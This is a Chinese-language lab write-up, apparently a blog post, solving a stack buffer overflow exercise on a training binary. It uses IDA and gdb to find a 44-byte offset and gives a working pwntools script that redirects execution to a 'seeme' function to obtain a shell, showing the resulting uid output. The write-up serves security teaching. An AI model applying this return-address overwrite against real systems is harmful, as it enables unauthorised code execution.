lab2-1

根据ida可以看到有如下几个函数


image.png

main,sayhi,myRead,seeme,其中前三个是逐渐调用,我们要做的是在main函数为入口的程序中将seeme函数调用。

在linux下可以运行一下程序,随便输入,显示正常,


image.png

然后多输入一堆a,可以看到会有溢出。


image.png

进入gdb进行调试,可以发现输入是在myRead函数中进行的,我们可以看到输入的地址为0xffffd3c0,


image.png

image.png

在这个函数中可以看到字符串输入的地址比当前函数的ebp还大,所以这个函数的ebp下面的ret地址无法改变,只能改变上一层的函数即sayhi函数ebp下面的ret,也就是sayhi函数执行完后,返回main的地址可以被改变。
在sayhi函数中可以看到ebp的地址为0xffffd3e8,


image.png

所以0xffffd3e8-0xffffd3c0=0x28。也就是说我们需要输入40个字节才可以到达ebp(ebp的地址没有被覆盖),再增加4个字节就可以覆盖ebp,然后可以跟上我们要调用的函数的地址,即seeme函数的地址,0x080485B3,这样就可以做到返回的时候进入seeme函数,就拿到了shell。
python脚本,注意需要是python2,如果是python3的时候,再payload那里会出错,无法将字符串和字节拼在一起

from pwn import *

conn=process('./level0')

seeme=0x080485B3
conn.recv()

payload = 'a'*44+p32(seeme)

conn.sendline(payload)
conn.recv()

conn.interactive()

image.png
shell:uid=1000(securitylab) gid=1000(securitylab) groups=1000(securitylab),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。